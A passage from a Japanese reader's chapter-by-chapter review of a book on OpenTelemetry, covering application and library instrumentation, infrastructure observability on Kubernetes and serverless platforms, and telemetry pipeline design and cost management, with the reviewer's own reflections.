たちのシステムの特性をよく理解し、OpenTelemetryをどう活用すべきかを見極める必要があります。例えば、サービスの規模や複雑性、パフォーマンス要件、障害時の影響度などを考慮し、適切なサンプリングレートや収集するテレメトリデータの種類を決定する必要があります。また、既存の監視システムとの連携方法や、運用プロセスへの組み込み方なども検討しなければなりません。可観測性の未来を切り拓くOpenTelemetry。その真価を見極め、自身の開発・運用プラクティスに活かしていくことが、これからのエンジニアリングに求められているのだと感じました。分散システムの複雑さが増す中で、我々ソフトウェアエンジニアに求められるスキルセットも変化しています。もはや、個々のサービスを深く理解するだけでは不十分です。システム全体を俯瞰し、サービス間の相互作用を追跡し、データの流れを把握する。そうした能力が、これからのソフトウェアエンジニアには必要不可欠になるでしょう。Chapter 5. Instrumenting Applications本章を読んで、OpenTelemetryを実際のアプリケーションに導入する際の具体的な手順と考慮点について理解を深めることができました。冒頭の \\"It is easier to write an incorrect program than understand a correct one.:正しいプログラムを理解するよりも、間違ったプログラムを書く方が簡単です。\\" 。アプリケーションの動作を正確に理解することの難しさを表していると同時に、OpenTelemetryによる可観測性の重要性を示唆しているように感じました。OpenTelemetryのセットアッププロセス本章では、まずOpenTelemetryのセットアッププロセスが2つのステップ、つまりSDKのインストールと計装(Instrumentation)で構成されることが説明されています。SDKは、テレメトリの処理とエクスポートを担当するOpenTelemetryクライアントであり、一方、計装は、OpenTelemetry APIを使ってテレメトリを生成するためのコードを指します。計装の自動化については、言語ごとに異なるアプローチが取られています。エージェントを使った完全な自動化を提供する言語もあれば、まったく自動化をサポートしない言語もあります。自動計装は、セットアッププロセスを大幅に簡略化できる一方で、カスタマイズの柔軟性は犠牲になるというトレードオフがあることを理解しておく必要があります。自動計装に関しては逆井さんの計測の手間を省きたい!OpenTelemetry に見る”自動計装”のイマがめちゃくちゃに良い資料なので読んでほしいです。 speakerdeck.comSDKのインストールでは、OpenTelemetry APIにプロバイダを登録することが重要です。プロバイダは、TracerProvider、MeterProvider、LoggerProviderの3つに分かれており、それぞれがトレース、メトリクス、ログの機能を実装しています。Figure 5-1. The TracerProvider framework より引用TracerProviderは、サンプラー、SpanProcessor、エクスポーターから構成されます。サンプラーは、トレースをサンプリングするためのアルゴリズムを提供し、SpanProcessorは、スパンの加工や送信を制御します。エクスポーターは、テレメトリデータをバックエンドに送信する際のフォーマットと宛先を定義します。Figure 5-2. The MeterProvider framework より引用MeterProviderは、ビュー、MetricReader、MetricProducer、MetricExporterから構成されます。ビューは、メトリックのカスタマイズを可能にし、MetricReaderは、メトリックデータの収集とバッファリングを行います。MetricProducerは、サードパーティの計装とのブリッジとして機能し、MetricExporterは、メトリックデータをバックエンドに送信します。Figure 5-3. The LoggerProvider framework より引用LoggerProviderは、LogRecordProcessorとLogRecordExporterから構成されます。これらは、ログデータの処理と送信を担当します。プロバイダの設定では、プロトコル、エンドポイント、ヘッダー、圧縮、タイムアウトなどの詳細な設定が可能です。特に、OTLPエクスポーターの設定は重要で、ローカルのCollectorにデータを送信する場合は、パフォーマンスを考慮して scheduledDelayMillis を小さな値に設定することが推奨されています。また、アプリケーションのシャットダウン時には、SDKのフラッシュ処理が欠かせません。これにより、バッファリングされたテレメトリデータが確実にエクスポートされ、データの欠落を防ぐことができます。カスタムプロバイダの実装についても言及されていますが、これは非常にまれなケースです。OpenTelemetryのAPIとSDKを分離することで、特殊な要件に対応できる柔軟性を確保しているのです。OpenTelemetryの設定のベストプラクティス本章では、設定のベストプラクティスについても詳しく説明されています。設定方法には、コード内での直接指定、環境変数の使用、YAMLファイルの利用の3つがあります。環境変数を使用することで、デプロイ時に設定を切り替えられるため、開発、テスト、本番環境に応じた柔軟な設定が可能になります。最近では、YAMLファイルによる設定が推奨されるようになっており、環境変数よりも簡潔で検証しやすいという利点があります。リモート設定の分野では、OpAMP(Open Agent Management Protocol)の開発が進められています。これにより、Collectorや SDKの動的な設定変更が可能になり、再起動やデプロイを必要とせずに設定を最適化できるようになるでしょう。github.comリソース属性の設定も重要なトピックの1つです。リソースは、テレメトリが収集される環境を定義する属性のセットで、サービス、仮想マシン、プラットフォーム、リージョン、クラウドプロバイダーなど、問題の特定に必要なコンテキスト情報を提供します。リソース属性の多くは、resource detectorと呼ばれるプラグインを使って自動的に収集できます。Kubernetes、AWS、GCP、Azureなど、一般的な環境の情報は、ほとんどの場合、resource detectorでカバーされています。一方、service.name、service.namespace、service.instance.id、service.versionなど、アプリケーション固有のリソース属性は、手動で設定する必要があります。これらの属性は、アプリケーションの動作を理解し、問題の切り分けを行ううえで欠かせない情報となります。OpenTelemetryの計装のベストプラクティス計装の設定では、OSSライブラリの自動計装が鍵となります。フレームワークやデータベースクライアントなど、一般的なライブラリの多くは、OpenTelemetryの計装を提供しているため、これらを活用することで、アプリケーションコードへの変更を最小限に抑えつつ、豊富なテレメトリデータを収集できます。一方、ビジネスロジックに特化した情報を取得するためには、手動での計装が必要になるでしょう。手動の計装を行う際は、新しいスパンを追加するのではなく、既存のスパンにアプリケーション固有の属性を付与することが推奨されています。これにより、スパンの数を抑えつつ、より意味のある情報を取得することができます。また、計装の粒度を適切に設定することが重要です。関数ごとにスパンを作成したり、コードの行ごとにログを出力したりすることは、必ずしも適切とは言えません。OpenTelemetryを導入する際は、まずは自動計装で提供されるテレメトリから始め、必要に応じて段階的に計装を追加していくのが賢明だと著者は述べています。ヒストグラムメトリックの活用も推奨されています。特に、指数関数バケットヒストグラム(Exponential Bucket Histogram)は、スケールと範囲が異なる測定値を自動的に調整し、集計することができるため、サービスのパフォーマンス分析に非常に役立ちます。これにexemplarを組み合わせることで、統計情報とトレースの紐付けが可能になり、より詳細な分析が行えるようになります。opentelemetry.io特に、自動計装とカスタム計装のバランス、適切なサンプリングとエクスポーターの設定、リソース属性の付与、ヒストグラムメトリックの活用など、具体的な手法については、実践的な示唆に富んでいました。これらを参考に、自社のアプリケーションにおけるOpenTelemetryの設定を最適化していきたいと思います。OpenTelemetryの導入に向けた考察また、OpAMPに代表されるリモート設定の動向にも注目したいと考えています。動的な設定変更は、運用の柔軟性を高め、コストの最適化にもつながる重要な技術だと感じました。opentelemetry.io一方で、OpenTelemetryの導入にはある程度の学習コストが伴うことも事実です。特に、大規模な分散システムでは、多数のサービスに対して計装を行う必要があり、複数の開発チームが関わることもあるでしょう。そのため、1つのアプリケーションでの導入が成功した後は、セットアップ手順やベストプラクティスをパッケージ化し、社内で共有することが重要だと感じました。OpenTelemetryへの移行は、一時的なコストを伴うかもしれません。しかし、一度移行が完了すれば、ベンダーロックインから解放され、あらゆる可観測システムと連携できるようになります。長期的な視点に立てば、OpenTelemetryは明らかに投資に値するテクノロジーだと言えるでしょう。個人的には、2年前に調査した時に比べてOpenTelemetryの自動計装機能の充実ぶりに感銘を受けました。フレームワークやライブラリレベルでの計装が進むことで、アプリケーション開発者の負担が大幅に軽減されるでしょう。今後は、社内の共通ライブラリへのOpenTelemetry組み込みも検討していきたいと考えています。また、リソース属性の重要性も再認識させられました。特に、service.nameやservice.versionなどの属性は、問題の切り分けに欠かせない情報です。これらの属性を確実に設定することで、障害対応の効率化が期待できます。ヒストグラムメトリックとexemplarの組み合わせも、非常に興味深い手法だと感じました。レイテンシの分布と、各バケットに対応するトレースを関連付けられることで、パフォーマンスの問題を細かく分析できるようになります。OpenTelemetryは、アプリケーションの可観測性を飛躍的に向上させる技術であり、SREにとって必須のスキルセットになりつつあります。本章で得た知識を活かし、自社のアプリケーションにOpenTelemetryを適切に導入することで、より堅牢で可観測性の高いシステムを構築していきたいと思います。可観測性の向上は、単なる技術的な問題ではなく、ビジネスの成功に直結する重要な課題です。OpenTelemetryを活用することで、システムの動作を正確に把握し、パフォーマンスの問題や障害の兆候を早期に検出できるようになります。そのような高度な可観測性を実現することが、私たちSREに課せられた使命だと感じています。本章で学んだ知識を基盤に、次章ではOpenTelemetryのライブラリへの組み込み方法が説明されるようです。アプリケーションと合わせて、ライブラリレベルでの計装を進めることで、より網羅的で詳細な可観測が可能になるでしょう。引き続き、OpenTelemetryの実践的な活用方法を学んでいきたいと思います。Chapter 6. Instrumenting Libraries本章 を読んで、ライブラリへのOpenTelemetryの組み込みが、可観測性の向上に果たす重要な役割について理解を深めることができました。冒頭の \\"The price of reliability is the pursuit of the utmost simplicity. It is a price which the very rich find most hard to pay.\\" という言葉が印象的でした。信頼性を追求するには、究極のシンプルさが必要であり、それは多くの人にとって難しいことだというメッセージが込められています。ライブラリの設計においても、可観測性を考慮に入れることで、シンプルさと信頼性の両立を目指すことができるのだと感じました。ライブラリの重要性と可観測性の意義本章では、まずライブラリの重要性について説明されています。ほとんどのアプリケーションでは、リソースの大部分がライブラリ内で消費されていることが指摘されています。アプリケーションコード自体はリソースをほとんど消費せず、代わりにライブラリコードにリソースの利用を指示します。したがって、本番環境での問題を調査する際には、ライブラリの利用パターンに着目することが重要になります。Figure 6-1. Serial database calls (top) that could be replaced by parallel calls (bottom) to significantly reduce latency より引用上図は、データベースへのシリアルなコールをパラレルなコールに置き換えることで、レイテンシを大幅に削減できる例を示しています。このように、ライブラリの利用方法を最適化することが、アプリケーションのパフォーマンス向上に直結することがわかります。それでは、なぜライブラリの開発者自身が計装を行うべきなのでしょうか。著者は、これをネイティブ計装(Native Instrumentation)と呼び、サードパーティによる従来の計装方法よりも優れていると主張しています。ネイティブ計装には、いくつかの利点があります。まず、ユーザーがOpenTelemetryを導入した瞬間から、すべてのライブラリで自動的に可観測性が有効になることです。これにより、可観測性システムのセットアップにおける障壁が大幅に下がります。また、ネイティブ計装によって、ライブラリの開発者はユーザーとのコミュニケーションを促進できます。テレメトリデータを通じて、ライブラリの構造や動作を説明したり、ユーザーに警告やアドバイスを提供したりすることが可能になります。ドキュメントやプレイブック、ダッシュボードやアラートなどを充実させることで、ユーザーはライブラリをより効果的に利用できるようになるでしょう。さらに、ネイティブ計装は、ライブラリの開発者がパフォーマンスを重視していることを示す強力なシグナルにもなります。可観測性をテストの一環として捉え、開発プロセスに組み込むことで、ライブラリの品質向上が期待できます。OpenTelemetryによるライブラリ計装の課題解決一方で、これまでライブラリの計装があまり進んでこなかった理由として、コンポジションの問題とトレーシングの課題が挙げられています。Figure 6-2. There is no right answer when different applications use different observability systems より引用上図のように、アプリケーションごとに異なる可観測性システムが使われている状況では、ライブラリの開発者にとって適切な選択肢がないことがわかります。特にトレーシングは、ライブラリ間でコンテキストを伝播させる必要があるため、すべてのライブラリが同じトレーシングシステムを使用しなければ機能しません。こうした課題を解決するために、OpenTelemetryはライブラリの計装をサポートするための様々な工夫を取り入れています。まず、OpenTelemetryは計装用のAPIと実装を分離しています。これにより、ライブラリの開発者はAPIを使って計装を行い、アプリケーションの開発者はSDKを設定するという、役割の明確化が図られます。またAPIは最小限の依存関係しか持たないため、依存関係の競合を避けることができます。次に、OpenTelemetryのAPIは下位互換性を維持しています。APIのメジャーバージョンが頻繁に更新されると、ライブラリ間の互換性が失われてしまいます。そこでOpenTelemetryでは、安定版のAPIをv1.0としてリリースし、v2.0を出す予定はないとしています。これにより、既存の計装が将来にわたって機能することが保証されます。さらに、OpenTelemetryの計装はデフォルトでオフになっていることも重要なポイントです。 Figure 6-4. Non-native instrumentation requires a lot of configuration より引用Figure 6-5. All native instrumentation is automatically enabled as soon as the SDK is installed より引用上図を比較すると、ネイティブ計装ではSDKを登録するだけですべてのライブラリから自動的にテレメトリを受信できるのに対し、非ネイティブな計装では各ライブラリに対して個別の設定が必要になることがわかります。これは、ユーザーにとって大きな負担となります。ライブラリ計装のベストプラクティスと今後の展望本章の後半では、ライブラリの計装における具体的なベストプラクティスが紹介されています。ライブラリの開発者は、以下のようなチェックリストに沿って計装を行うことが推奨されます。OpenTelemetryをデフォルトで有効にするAPIをラップしない既存のセマンティック規約を使用する必要に応じて新しいセマンティック規約を作成するAPIパッケージのみをインポートするライブラリをメジャーバージョン番号にピン留めする包括的なドキュメントを提供するパフォーマンステストを実施し、結果を共有するまた、データベースやプロキシ、メッセージングシステムなどの共有サービスについては、以下の点にも留意すべきだとしています。OpenTelemetryの設定ファイルを使用するデフォルトでOTLPを出力するローカルのCollectorをバンドルする本章で紹介されたベストプラクティスは非常に参考になりました。特に、ネイティブ計装の重要性と、それを実現するためのOpenTelemetryの設計思想は、深く理解しておくべき点だと感じました。自社で開発しているライブラリにOpenTelemetryを組み込むことで、アプリケーションの可観測性を飛躍的に高められるはずです。その際は、本章のチェックリストを活用し、ユーザーにとって使いやすく、パフォーマンスに優れた計装を心がけたいと思います。また、オープンソースのライブラリについても、積極的にコントリビューションしていきたいと考えています。ライブラリのメンテナーと協力し、ネイティブ計装の普及に貢献できればと思います。さらに、共有サービスについても、OpenTelemetryを活用した可観測性の向上が期待できます。特に、Kubernetesなどのコンテナプラットフォームとの連携は、運用の効率化に大きく寄与するでしょう。本章を通じて、改めてライブラリの重要性と、その計装の難しさについて認識を新たにしました。というか言うは易く行うは難しだなって思いました。OpenTelemetryは、これまで困難だったライブラリの可観測性を、エレガントかつ実践的な方法で実現するためのプロジェクトだと言えます。著者が理想として掲げている、\\"In five years, we’d like developers to be thinking of runtime observability as being just as important as testing.:5年後にはテストと同じぐらい実行時の可観測性が重要だと開発者が考えるようになる\\"という未来。その実現に向けて、私もOpenTelemetryコミュニティに参加し、微力ながら貢献していきたいと思います。Chapter 7. Observing Infrastructure本章を読んで、クラウドネイティブな環境におけるインフラストラクチャの可観測性の重要性と、OpenTelemetryを活用した具体的な手法について理解を深めることができました。冒頭の \\"We build our computer systems the way we build our cities: over time, without a plan, on top of ruins.\\" という言葉が印象的でした。複雑化するソフトウェアシステムは、計画性のない都市の発展と同じように、ruins(廃墟)の上に継ぎ接ぎで構築されているという比喩は的を射ていると感じました。インフラストラクチャの可観測性は、そのような複雑なシステムを理解し、制御するための重要な手段だと改めて認識させられました。本章では、まずインフラストラクチャ可観測性の定義と意義について説明されています。インフラストラクチャの可観測性とは、単なるリソース使用率のモニタリングではなく、アプリケーションのテレメトリデータとインフラストラクチャのメトリクスを関連付けることで、システム全体の動作を把握する取り組みだと言えます。著者は、インフラストラクチャのシグナルを収集する際の2つの重要な問いを提示しています。アプリケーションのシグナルとインフラストラクチャのシグナルの間にコンテキストを確立できるか?これらのシステムを可観測性を通じて理解することが、特定のビジネス/技術的な目標の達成に役立つか?この2つの問いに対する答えがNoである場合、そのシグナルを可観測性フレームワークに組み込む必要はないと指摘しています。可観測性に組み込むべきシグナルを見極めることが、効果的なインフラストラクチャ可観測性戦略の鍵となるのです。クラウドプロバイダーのテレメトリデータの収集と活用続いて、クラウドプロバイダーからのテレメトリデータの収集方法について詳しく解説されています。クラウドプロバイダーは、膨大な量のメトリクスとログを提供しますが、そのすべてが可観測性に有用とは限りません。著者は、クラウドテレメトリを \\"iceberg\\" に例えています。Figure 7-1. The cloud telemetry iceberg より引用OpenTelemetryはこれらのシグナルをすべて収集することができますが、全体的なモニタリングの姿勢にどのように適合するかを考える必要があります。例えば、単一のインスタンスの稼働状況は、分散システムの全体像を把握する上では限定的な意味しか持ちません。しかし、そのイベントをAPI Gatewayのルーティングの問題と関連付けることができれば、ユーザーリクエストのパフォーマンス低下の診断に役立つでしょう。個々のシグナルが単独では価値がなくても、全体的な可観測性戦略の一部として捉えることが重要なのです。クラウドメトリクスとログの収集には、主にOpenTelemetry Collectorが使用されます。著者は、本番環境へのデプロイメントにあたって、Collector Builderを使ってカスタムビルドを生成することを推奨しています。これにより、必要なレシーバー、エクスポーター、プロセッサーのみを組み込んだ最適化されたCollectorを構築できます。また、属性の設定では、パイプラインの早い段階で \\"too many\\" の側に寄せることが推奨されています。必要のないデータを後から捨てる方が、存在しないデータを追加するよりも簡単だからです。ただし、新しいdimensionを追加すると、メトリックデータベースが保存する時系列の数が劇的に増加する cardinality explosion を引き起こす可能性があるため、後段でメトリックをallow-listingすることで制御する必要があります。Collectorのデプロイメントアーキテクチャとしては、複数のアグリゲーターやテクノロジーからのテレメトリを統合する \\"gateway\\" 方式が紹介されています。Figure 7-2. A “gateway” deployment of the Collector monitoring a Kubernetes node, where Prometheus and FluentD scrape metrics and logs and then send them to external Collectors that process any signal より引用さらに発展させたアーキテクチャでは、各コンポーネントが独立したCollectorを持ち、シグナルタイプごとに水平にスケールできるようになっています。Figure 7-3. A “gateway” deployment of the Collector, much like Figure 7-2, but instead of all telemetry being sent to the same pool of collectors, different signal types are emitted to specialized pools of collectors より引用また、Collectorのパフォーマンスをモニタリングする Metamonitoring の重要性についても言及されています。Collectorが公開するメトリクスを監視することで、リミッターによるデータの拒否やキューの容量不足を検知し、スケールアップの判断に活用できます。Kubernetesプラットフォームにおける可観測性次に、Kubernetesプラットフォームにおける可観測性について解説されています。OpenTelemetryは、Kubernetesクラスタ上で稼働するアプリケーションのモニタリングとプロファイリングのためのツール、およびKubernetesコンポーネント自体のテレメトリデータを扱うための手段を提供しています。Kubernetesのテレメトリデータを収集するには、OpenTelemetry Operatorが重要な役割を果たします。OperatorのTarget Allocator (TA)機能を使うことで、クラスタ内のPrometheusエンドポイントを自動検出し、複数のcollector間でスクレープジョブを均等に分散させることができます。または、k8sclusterreceiver、k8seventsreceiver、k8sobjectsreceiver、kubeletstatsreceiverなどのレシーバーを使って、クラスターのメトリクスとログを直接収集することもできます。一方、Kubernetes上で稼働するアプリケーションに対しては、Operatorが提供するカスタムリソースを使って、自動計装パッケージをPodにインジェクトすることができます。これにより、既存のアプリケーションコードにトレース、メトリクス、ログの計装を追加できるようになります。本番環境へのデプロイメントでは、以下のようなアドバイスが示されています。各PodにサイドカーCollectorを配置し、テレメトリの最初の停止点とするシグナルタイプごとにCollectorを分割し、独立してスケールできるようにするテレメトリの作成と設定の関心を明確に分離する(例: リダクションやサンプリングはプロセスではなくCollectorで行う)Kubernetesの次は、サーバーレスプラットフォームの可観測性について説明されています。AWS LambdaやAzure Cloud Functionsなどのサーバーレスプラットフォームは、その利便性と独自の構造から人気を博していますが、一方で可観測性の課題も持ち合わせています。サーバーレスプラットフォームの可観測性サーバーレスの可観測性では、標準的なアプリケーションテレメトリに加えて、呼び出し時間、リソース使用量、コールドスタート時間などに注目する必要があります。これらのメトリクスは、サーバーレスプロバイダーから提供されるはずですが、アプリケーションテレメトリ自体をどのように取得するかは課題となります。OpenTelemetry Lambda Layerなどのツールを使うことで、AWS Lambdaの呼び出しからトレースとメトリクスを効率的にキャプチャできます。ただし、関数がアプリケーションアーキテクチャの中でどのような役割を果たしているかによって、サーバーレスインフラストラクチャを監視するための戦略は異なります。Lambda呼び出しを直接トレースするのをスキップし、属性やSpanイベントを介してLambdaを呼び出し元のサービスにリンクするだけで十分な場合もあるでしょう。その場合、Lambdaのサービスログを使って、障害やパフォーマンスの異常に関する特定の実行を特定し、詳細を取得することができます。非同期ワークフローの可観測性最後に、キュー、サービスバス、その他の非同期ワークフローの可観測性について議論されています。Apache Kafkaのようなイベントやキューベースのプラットフォームを活用するモダンなアプリケーションでは、可観測性にいくつかの興味深い課題が生じます。トランザクションのトレースは、\\"traditional\\" なリクエスト/レスポンスアーキテクチャほど有用ではない場合があります。トランザクションがいつ終了するのかを特定するのが難しいためです。そのため、可観測性の目標、最適化したいこと、最適化できることについて、多くの決定を下す必要があります。著者は、銀行ローンの例を挙げて、ビジネスフローと技術フローの違いを説明しています。Figure 7-4. The business flow of a bank transaction (top) versus its technical flow (bottom) より引用ビジネスフローは比較的シンプルですが、技術フローはパーミュテーションとギャップを考慮する必要があります。ワークフロー図が木というよりも「木の木」のように見える場合は、非同期ワークフローである可能性が高いと指摘しています。このような状況では、高度に非同期なワークフローを1つのトレースとして考えるのではなく、多くのサブトレースとして捉え、カスタムの相関IDやSpanリンクを介してオリジンにリンクすることが推奨されます。例えば、最初のトレースを「プライマリ」トレースと見なし、各トレースの終端Spanを次のルートSpanにリンクさせる方法があります。ただし、非同期トランザクションのすべてのサブトレースが同等に有用なわけではありません。Collectorのフィルタとサンプラーを慎重に使用することで、特定のサブトレースをフィルタリングし、カウントやヒストグラムに変換することができます。これにより、ルートSpanを保持しつつ、関連する作業について正確なカウントとレイテンシーを維持することが可能になります。本章を通じて、インフラストラクチャ可観測性の戦略が、全体的な可観測性の目標に沿って明確かつ簡潔に定義されるべきであることを学びました。アプリケーションやサービスの可観測性とは異なり、仮想マシン、マネージドデータベース、サーバーレステクノロジーを使用したイベント駆動アーキテクチャには、一般的なアプリケーション計装戦略がそのまま適用できるとは限りません。著者が強調しているのは、インフラストラクチャ可観測性の戦略は、システムが生成する可観測性データを使用するための組織的なインセンティブに沿って、全体的な可観測性の目標に基づいて策定されるべきだということです。この点を理解することが、重要なシグナルに焦点を当て、チームが実際に活用できるデータを収集するための鍵となるのです。個人的には、本章で紹介されたOpenTelemetryの各プラットフォームへの統合方法が非常に参考になりました。特に、Kubernetesにおける自動計装の仕組みや、サーバーレスプラットフォームでのLambda Layerの活用法は、実務で即座に役立てられる知見だと感じました。また、非同期ワークフローの可観測性の難しさについても共感を覚えました。ビジネスフローと技術フローのギャップを埋めるために、どのようなテレメトリ設計が求められるのか。著者の提示したアプローチは、非常に示唆に富んでいると思います。本章で得られた知見を活かし、自社のインフラストラクチャ可観測性を見直していきたいと考えています。特に、クラウドプロバイダーから収集するシグナルの取捨選択や、Kubernetes環境におけるOpenTelemetryの活用、サーバーレスアーキテクチャのための計装戦略などは、優先的に取り組むべき課題だと感じました。また、非同期ワークフローの可視化についても、著者の提案を参考にしながら、自社の状況に合った手法を探っていきたいと思います。ビジネス要件とシステムアーキテクチャのギャップを可観測性の力で埋めることができれば、より俊敏で信頼性の高いサービス提供が可能になるはずです。本章のエッセンスは、インフラストラクチャ可観測性の真の目的を見失わないことだと感じました。テレメトリデータの収集や統合は手段であって目的ではありません。あくまでも、ビジネス価値の創出と、エンジニアリング課題の解決に資するものでなくてはならないのです。そのためには、可観測性戦略を練る前に、自組織の目指すゴールを明確にしておく必要があります。そして、そのゴール達成のために、どのようなシグナルが必要で、どのように活用するのかを設計しなければなりません。本章で紹介された数々の手法は、そのための強力な武器になってくれるでしょう。読者諸兄には、ぜひ自組織のインフラストラクチャ可観測性の現状を振り返っていただきたいと思います。収集しているテレメトリデータは、本当にビジネスや技術の意思決定に活用できているでしょうか? OpenTelemetryを導入・活用することで、より効果的で統一的な可観測性を手に入れられるかもしれません。クラウドネイティブ時代のインフラストラクチャ可観測性。それは、複雑さと不確実性に立ち向かうための羅針盤であり、イノベーションを加速させるためのエンジンです。本章で得られた知見を最大限に活用し、自組織の可観測性ジャーニーを着実に前進させていきましょう。Chapter 8. Designing Telemetry Pipelines本章を読んで、テレメトリパイプラインの設計と運用が、可観測性の実現に果たす重要な役割について理解を深めることができました。冒頭の \\"I have always found that plans are useless, but planning is indispensable.\\" という言葉が印象的でした。計画そのものは役に立たないかもしれないが、計画を立てること自体は不可欠だというメッセージには深く共感しました。テレメトリパイプラインの設計においても、綿密な計画と柔軟な対応の両立が求められるのだと感じました。テレメトリパイプラインのトポロジーとCollectorの役割本章では、まずテレメトリパイプラインのトポロジーについて解説されています。システムが小規模な場合は、Collectorを使わずにSDKから直接バックエンドにデータを送信するのが最もシンプルな方法です。Figure 8-1. Applications send telemetry directly to the analysis tool being used より引用しかし、ホストメトリクスの収集やデータの一時的なバッファリングが必要になると、アプリケーションと同じマシン上でCollectorを実行するローカルCollectorの構成が推奨されます。Figure 8-2. Applications send telemetry to a local Collector, which also collects host metrics より引用さらに、大規模なシステムでは、ロードバランサーを使ってトラフィックを分散するCollectorプールを導入することで、バックプレッシャーへの対応や、リソース消費の最適化が可能になります。Figure 8-3. Local Collectors for every application send telemetry to a Collector pool for additional processing and buffering より引用さらに、ゲートウェイとワークロード固有のCollectorプールを組み合わせることで、より複雑なパイプラインを構築できます。Figure 8-4. A pipeline consisting of an egress gateway and several workload-specific Collector pools より引用このような特殊なCollectorプールを作成する理由としては、バイナリサイズの縮小、リソース消費の削減、テールベースのサンプリング、バックエンド固有のワークロード、送信コストの削減などが挙げられています。パイプラインオペレーションの重要性次に、パイプラインオペレーションについて解説されています。フィルタリングとサンプリングは、不要なデータを削除し、データ量を削減するための重要な手段です。フィルタリングは特定のタイプのデータを完全に削除するプロセスであり、サンプリングは統計的に代表的なデータのサブセットを識別し、残りを削除するプロセスです。ただし、著者は、サンプリングは危険であり、慎重に行う必要があると警告しています。サンプリング手法とその設定は、データの量と分析の種類に大きく依存するため、普遍的な答えは存在しません。著者は、自社の分析ツールのベンダーやOSSプロジェクトと相談することなく、サンプリングを実装しないことを強く推奨しています。変換、スクラビング、バージョニングについても詳しく説明されています。属性の変更、機密情報の難読化、セマンティック規約の統一、シグナル間の変換など、テレメトリデータを加工するための様々な手法が紹介されています。特に、OpenTelemetry Transformation Language (OTTL)を使った変換ルールの定義は、柔軟性と可読性に優れていると感じました。github.comまた、プライバシーと地域規制への対応の重要性も指摘されています。テレメトリデータにはPIIが含まれる可能性があるため、データのスクラビングとルーティングを適切に行う必要があります。バッファリングとバックプレッシャーについては、データ損失を避けるためにパイプラインに十分なリソースを確保することが重要だと述べられています。予期せぬトラフィックのスパイクや問題が発生した場合に備えて、データを一時的にメモリに保持するためのバッファリング容量を確保し、必要に応じてリソースを迅速にスケールできるようにしておく必要があります。最後に、データのエクスポートについて解説されています。テレメトリデータをどこにエクスポートするかは、組織のニーズに応じて決定する必要があります。デフォルトのオープンソースの可観測性スタックには、Prometheus、Jaeger、OpenSearch、Grafanaなどが含まれますが、OpenTelemetryをサポートする商用ツールも数多くあります。ルーティングプロセッサを使えば、テレメトリの属性に基づいてデータの送信先を動的に決定することもできます。例えば、有料ユーザーと無料ユーザーのトラフィックを別々のツールに送信するといった使い方が可能です。また、ジョブのステップ数の分布を測定するために、スパンをキューにルーティングしてヒストグラムを作成するといったクリエイティブな方法も提案されています。Collectorのセキュリティと運用本章では、CollectorのセキュリティとKubernetesにおける運用についても言及されています。Collectorは、他のソフトウェアと同様に、セキュリティを考慮して展開・維持する必要があります。具体的には、受信インターフェースのバインド先の制限、SSL/TLSによるデータの暗号化、認証・認可の設定などが推奨されています。opentelemetry.ioKubernetesについては、OpenTelemetry Kubernetes Operatorを使ってCollectorを管理する方法が紹介されています。DaemonSetやSidecarを使ってローカルCollectorを実行したり、DeploymentやStatefulSetを使ってCollectorプールを実行したりできます。また、Operatorを使って、アプリケーションに自動計装を注入し、設定することもできます。github.comテレメトリコストの管理最後に、テレメトリコストの管理について議論されています。テレメトリのコストを管理するための最も一般的なアドバイスは、「重要でないものをモニタリングしないこと」だと著者は述べています。誰も注目していないものを追跡し続ける価値はないのです。オブザーバビリティにはあなたが思っているよりもお金がかかるかもしれない。dev.henry.jpまた、コストと価値のトレードオフを考慮することも重要です。例えば、ユーザーIDなどのカスタムメトリクスは、カーディナリティが高くコストがかかる場合がありますが、特定のユーザーのエクスペリエンスを理解するためには必要不可欠な情報かもしれません。コスト管理の観点からは、データの解像度を最適化する方法を検討するのが良いアプローチだと著者は提案しています。ヒストグラムメトリクスから正確なカウントが得られる場合は、「速い」トレースの収集と保存を控えることで、コストを節約できる可能性があります。また、個々のログ行を大量に取り込むのではなく、収集時に重複を排除し、メトリクスや構造化されたログに変換するのも効果的です。本章を通じて、テレメトリパイプラインの設計と運用が、可観測性の実現において極めて重要な役割を果たすことを再認識しました。単にデータを収集するだけでなく、フィルタリング、サンプリング、変換、バッファリング、エクスポートなど、データを適切に処理し、管理することが求められます。特に、コスト管理とデータの価値のバランスを取ることの難しさについては、示唆に富む議論がなされていました。テレメトリのコストを最小限に抑えつつ、システムの問題を特定し、改善するために必要な情報を確保するには、慎重な判断が必要です。本章で得られた知見を活かし、自社のテレメトリパイプラインの設計と運用を見直していきたいと思います。特に、Collectorのトポロジーの選択、フィルタリングとサンプリングの適用、データ変換ルールの定義、コスト管理戦略の策定などは、優先的に取り組むべき課題だと感じました。テレメトリパイプラインは、単なるデータの通り道ではなく、可観測性の要となるコンポーネントです。その設計と運用に十分な時間と労力を投じることで、システムの動作をより深く理解し、問題の予防と解決に役立てることができるはずです。個人的には、OpenTelemetryの登場によって、テレメトリパイプラインの構築と管理がより容易になったと感じています。かつては、各種ツールやフォーマットの違いに悩まされていましたが、OpenTelemetryがデファクトスタンダードになりつつある今、よりシームレスなデータの統合と処理が可能になりました。一方で、OpenTelemetryの普及に伴い、テレメトリデータの量と種類が爆発的に増加しているのも事実です。その中で、本当に必要なシグナルを見極め、適切に処理していくことが、これまで以上に重要になってくるでしょう。本章で紹介されたベストプラクティスやピットフォールは、そのための指針になるはずです。フィルタリングやサンプリングを適切に行い、変換やエクスポートを戦略的に設計することで、コストと価値のバランスを取りながら、可観測性を最大限に引き出していきたいと思います。可観測性の実現は、単なる技術的な課題ではなく、ビジネスの成功に直結する重要なテーマです。テレメトリパイプラインの設計と運用を通じて、システムの動作を正確に把握し、問題の予兆を早期に検出し、素早く対処することができれば、より信頼性の高いサービスを提供できるようになるはずです。読者諸兄には、ぜひ自社のテレメトリパイプラインの現状を見直してみていただきたいと思います。OpenTelemetryを活用し、データの収集、処理、エクスポートを最適化することで、可観測性のレベルを引き上げられるのではないでしょうか。可観測性の未来を切り拓くOpenTelemetry。テレメトリパイプラインの設計と運用は、その実現に向けた重要な一歩です。本章で得られた知見を糧に、自社のシステムにおける可観測性の向上に取り組んでいきましょう。次章では、OpenTelemetryへの移行戦略について解説されるそうです。レガシーシステムからのスムーズな移行や、組織全体でのオブザーバビリティの文化の醸成など、大規模な導入に向けたヒントが得られるはずです。引き続き、OpenTelemetryの実践的な活用方法を学んでいきたいと思います。Chapter 9. Rolling Out Observability本章を読んで、可観測性の組織への展開における重要な考慮事項と戦略について理解を深めることができました。冒頭の \\"Just because the standard provides a cliff in front of you, you are not necessarily required to jump off it.\\" 